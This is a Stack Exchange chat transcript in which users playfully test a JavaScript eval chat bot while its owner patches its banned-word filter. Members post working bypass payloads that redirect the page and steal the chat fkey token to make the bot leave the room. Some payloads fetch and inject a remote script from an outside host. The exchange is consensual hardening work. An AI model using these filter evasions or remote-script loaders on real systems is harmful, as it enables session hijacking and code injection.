Wizards Den

@PDKnight The commands are: !listcommands, !echo, !lmgtfy, !listmemes, !meme, !rmeme, !bigtext, !online, !or, !eval, !afk, !tag, !shutdown, !reload

!bigtext wow

██╗    ██╗ ██████╗ ██╗    ██╗
██║    ██║██╔═══██╗██║    ██║
██║ █╗ ██║██║   ██║██║ █╗ ██║
██║███╗██║██║   ██║██║███╗██║
╚███╔███╔╝╚██████╔╝╚███╔███╔╝
 ╚══╝╚══╝  ╚═════╝  ╚══╝╚══╝

!shutdown

I created permission system and stuff like that, afk command, eval command...

!eval 1+3

>
4

!eval var a = 'this is a test'.split(' ').join('');a

>
thisisatest

Unikitty eats a cat

!eval document.body.innerHTML = '', window.dbotWS = null;

PDKnight

6:03 PM

@Unikittyeatsacat Hey, your query contains banned word(s)!

Unikitty eats a cat

Nooooooo

PDKnight

:P

nice try

ProgramFOX

!eval window

PDKnight

@ProgramFOX Hey, your query contains banned word(s)!

ProgramFOX

!eval while(true){}

hmm...

!eval 1+1

PDKnight

6:05 PM

yeah

:D forgot about it

ProgramFOX

lol I killed it

rene

I guess in the Den @RobertLongson — rene 52 secs ago

PDKnight

!eval while(true){}

Unikitty eats a cat

!eval eval("docu" + "ment").body.innerHTML = "", eval("D" + "BOT") = null, eval("win" + "dow")["db" + "otWS"] = null;

!eval 1 + 1

PDKnight

w8 w8 :D

Unikitty eats a cat

6:07 PM

HAHAHAHAHAHAHAHA

Laughs

PDKnight

!eval eval('1+2')

>
3

sh*

Unikitty eats a cat

!eval location.href = "http://google.com"

!eval 'alive?'

PDKnight

I shut it down :D

Unikitty eats a cat

Bah

ProgramFOX

Eval in bots is a Bad Idea (tm)

rene

6:11 PM

I assume you're all ignored here?

I have no idea

:D

@rene I hope so.

Yes, the uselessness of all this is evident

What is the latest word?

IͶΔ

@ShadowWizard Hey that's Copyright IͶΔ. You can't steal my salutation @ShaWiz. ಠ_ಠ

3 hours ago, by Shadow Wizard

@FOX9000 Moxypen

rene

6:14 PM

@ShadowWizard medicine

FOX 9000

No associated word found for medicin.

>> retry

@rene arsenic

@FOX9000 poison

@rene corrosive

6:16 PM

@FOX9000 Cola

@rene bottle

@FOX9000 beer

@rene iced

@FOX9000 cream

@rene froth

6:28 PM

finally

IͶΔ

Oh no

PDKnight

!eval location.href = 'http://www.google.com'

@PDKnight Hey, your query contains banned word(s)!

ProgramFOX

!eval "location"

PDKnight

@ProgramFOX Hey, your query contains banned word(s)!

ProgramFOX

!eval "href"

PDKnight

6:28 PM

>
href

ProgramFOX

!eval lookupGetter

hmpf

!eval "alive"

PDKnight

>
alive

you should use !eval @error_on before statement

ProgramFOX

!eval "lookupGetter"

PDKnight

>
lookupGetter

ProgramFOX

!eval "__lookupGetter__"

PDKnight

6:31 PM

>
__lookupGetter__

ProgramFOX

@PDKnight What does that do?

!eval __lookupGetter__

PDKnight

>
function __lookupGetter__() { [native code] }

shows error if any

ProgramFOX

oh

PDKnight

!eval @error_on something

@PDKnight Error: something is not defined

ProgramFOX

!eval _lookupGetter__("locatio"+"n")().href="http://meta.stackexchange.com/"

!eval "alive"

PDKnight

6:32 PM

>
alive

ProgramFOX

:o

Unikitty eats a cat

!eval eval("loca"+"tion").href = 'http://www.google.com'

PDKnight

@Unikittyeatsacat Hey, your query contains banned word(s)!

what does lookupGetter do?

Unikitty eats a cat

where???

PDKnight

maybe eval? ;)

ProgramFOX

6:32 PM

oh, of course, forgot an underscore

!eval __lookupGetter__("locatio"+"n")().href="http://meta.stackexchange.com/"

PDKnight

use @error_on

ProgramFOX

I know, but it shouldn't error.

!eval @error_on __lookupGetter__("locatio"+"n")().href="http://meta.stackexchange.com/"

PDKnight

@ProgramFOX Error: __lookupGetter__(...) is not a function

Unikitty eats a cat

!eval Object.defineProperty('locatio' + 'n', 'hr' + 'ef', {value: 'http://youtube.com'})

ProgramFOX

such fun

Unikitty eats a cat

6:33 PM

!eval alive?

ProgramFOX

!eval __lookupGetter__

PDKnight

>
function __lookupGetter__() { [native code] }

!eval @error_on alive?

@PDKnight Error: Unexpected end of input

ProgramFOX

!eval @error_on __lookupGetter__("locatio"+"n")().href="http://meta.stackexchange.com/"

PDKnight

@ProgramFOX Error: __lookupGetter__(...) is not a function

ProgramFOX

!eval __lookupGetter__()

PDKnight

6:34 PM

>
undefined

ProgramFOX

eh

so this way of setting location.href won't work

PDKnight

:D

Unikitty eats a cat

__lookupGetter__(eval('"loca"') + eval('"tion"'))()['hre' + (15).toString(16)] = 'http://google.com'

!eval __lookupGetter__(eval('"loca"') + eval('"tion"'))()['hre' + (15).toString(16)] = 'http://google.com'

PDKnight

@Unikittyeatsacat Hey, your query contains banned word(s)!

Unikitty eats a cat

where????

ProgramFOX

6:36 PM

@Unikittyeatsacat eval, duh

PDKnight

maybe location? :D

Unikitty eats a cat

!eval lookupGetter

PDKnight

guys, use @error_on to show errors

ProgramFOX

Just show them by default.

PDKnight

alright

Unikitty eats a cat

6:37 PM

__lookupGetter__("loca"+tion)()['hre' + (15).toString(16)] = 'http://google.com'

PDKnight

sec

Unikitty eats a cat

!eval __lookupGetter__("loca"+tion)()['hre' + (15).toString(16)] = 'http://google.com'

!eval 'alive?'

PDKnight

>
alive?

Unikitty eats a cat

!eval @error_on__lookupGetter__("loca"+tion)()['hre' + (15).toString(16)] = 'http://google.com'

PDKnight

@Unikittyeatsacat Error: Unexpected token ILLEGAL

Unikitty eats a cat

6:38 PM

Dammit FORMATTING

ProgramFOX

!eval this["locatio" + "n"].href="http://meta.stackexchange.com/"

PDKnight

>
meta.stackexchange.com

ProgramFOX

!eval "alive"

PDKnight

and yeah, that worked! :D

ProgramFOX

:P

Unikitty eats a cat

6:39 PM

!eval 'alive'

PDKnight

I'm going to set error_on by default

done

ProgramFOX

have you also blocked "this"? :P

PDKnight

yeah, I think

ProgramFOX

!eval this

PDKnight

>
[object Window]

:(((

ProgramFOX

6:42 PM

apparently not

PDKnight

but!!

try this['loca'+'tion']

ProgramFOX

!eval this['locati'+'on']

PDKnight

@ProgramFOX Hey, your query contains banned word(s)!

ProgramFOX

clever!

but not clever enough

!eval this[atob("bG9jYXRpb24=")]

PDKnight

@ProgramFOX Hey, your query contains banned word(s)!

ProgramFOX

6:43 PM

huh!

Unikitty eats a cat

!eval $.post('/chats/leave/721', {fkey: fkey().fkey})

ProgramFOX

!eval this

PDKnight

>
[object Object]

Unikitty eats a cat

OMG ROFL

ProgramFOX

lol @Unikittyeatsacat

Unikitty eats a cat

6:43 PM

He just left

yeah :D

!eval 'alive'

nope

:(

Did you block "this" or "atob", @PDKnight? chat.meta.stackexchange.com/transcript/message/4590031#4590031 surprisingly didn't work

PDKnight

blocked this. and this[

why atob?

it converts to string, doesn't it?

ProgramFOX

6:45 PM

@PDKnight it's base64 conversion

so I tried to abuse that

but with this blocked, that isn't going to work

PDKnight

what's fkey()?

ProgramFOX

@PDKnight It's your chat key. Make sure people cannot access it.

so block "fkey" too

PDKnight

okay

ProgramFOX

let me know when the bot is back :)

PDKnight

yeah :)

Unikitty eats a cat

6:51 PM

!eval "alive?"

Found some other way

PDKnight

tell me

Unikitty eats a cat

Enable bot first

I won't share your fkey

Promise

Involves jQuery though

PDKnight

done

Unikitty eats a cat

!eval $.globalEval('var n={}; n["fk" + "ey"] = $("input[name=\\"fkey\\"]").val(); $.post("/chats/leave/721", n)')

PDKnight

>
undefined

Unikitty eats a cat

6:55 PM

HAHAHAHHAHAHAHA

Ya need to fix dat

PDKnight

oh

nice :D

ProgramFOX

So much to fix, but still so much workarounds.

PDKnight

but it's funny

Unikitty eats a cat

Or I could just getScript my own script and wreck chaos

PDKnight

!reload

!eval atob

>
function atob() { [native code] }

ahhh noo :D

wait

!shutdown

now?

!eval atob

@PDKnight Hey, your query contains banned word(s)!

@Uni @Pro

Unikitty eats a cat

7:11 PM

!eval location

PDKnight

@Unikittyeatsacat Hey, your query contains banned word(s)!

Unikitty eats a cat

parent['loca'+'tion']['h'+'r'+(14).toString(16)+'f'] = "http://google.com"

!eval parent['loca'+'tion']['h'+'r'+(14).toString(16)+'f'] = "http://google.com"

PDKnight

>
google.com

Unikitty eats a cat

!eval aliev?

!eval 1 + 1

PDKnight

:(

Unikitty eats a cat

7:11 PM

HA

PDKnight

!reload

!eval parent

>
[object Window]

:(

!eval parent['loca'+'tion']

@PDKnight Hey, your query contains banned word(s)!

NICE!

@Unikittyeatsacat

Unikitty eats a cat

Beat this then

!eval $('body')[0]['ownerDoc'+'ument'].defaultView['loca' + 'tion'].href = 'http://google.com'

PDKnight

>
google.com

Unikitty eats a cat

!eval "boo"

PDKnight

awesome :D

!reload

!eval $('body')[0]['ownerDoc'+'ument'].defaultView['loca' + 'tion'].href = 'http://google.com'

@PDKnight Hey, your query contains banned word(s)!

@Unikittyeatsacat :P

Unikitty eats a cat

7:20 PM

!eval $

PDKnight

>
function (a,b){return new e.fn.init(a,b,h)}

Unikitty eats a cat

!eval defaultView

PDKnight

@Unikittyeatsacat Error: defaultView is not defined

Unikitty eats a cat

!eval body

PDKnight

>
[object Object]

!reload

Unikitty eats a cat

7:24 PM

!eval var r=new XMLHttpRequest();r.onreadystatechange = function() {if (r.readyState == 4 && r.status == 200) { $('<script>').text(r.responseText).before($('script')); } }; r.open("GET", "http://teamfreehugs.github.io/kill.js", true); r.send();

PDKnight

@Unikittyeatsacat Hey, your query contains banned word(s)!

Unikitty eats a cat

!eval var r=new XMLHttpRequest();r.onreadystatechange = ()=> {if (r.readyState == 4 && r.status == 200) { $('<script>').text(r.responseText).before($('script')); } }; r.open("GET", "http://teamfreehugs.github.io/kill.js", true); r.send();

PDKnight

>
undefined

Unikitty eats a cat

Lol

PDKnight

:DD

!eval 'yes, I'm alive'

@PDKnight Error: Unexpected identifier

!eval 'I\'m'

@PDKnight Error: Unexpected identifier

!eval "I'm!!!"

@PDKnight Error: Unexpected identifier

Unikitty eats a cat

7:25 PM

Hello world

Bye gtg

PDKnight

bye :) thx

Unikitty eats a cat

!eval var r=new XMLHttpRequest();r.onreadystatechange = ()=> {if (r.readyState == 4 && r.status == 200) { $('body').append($('<script>').text(r.responseText)) } }; r.open("GET", "http://teamfreehugs.github.io/kill.js", true); r.send();

PDKnight

>
undefined

Unikitty eats a cat

GET REKT

PDKnight

ahhh :D lol

Unikitty eats a cat

7:26 PM

Well night people

PDKnight

good night :)

Unikitty eats a cat

It's actually 3 am, so whatever

PDKnight

!eval var r=new XMLHttpRequest();r.onreadystatechange = ()=> {if (r.readyState == 4 && r.status == 200) { $('body').append($('<script>').text(r.responseText)) } }; r.open("GET", "http://teamfreehugs.github.io/kill.js", true); r.send();

@PDKnight Hey, your query contains banned word(s)!

:)

Transcript for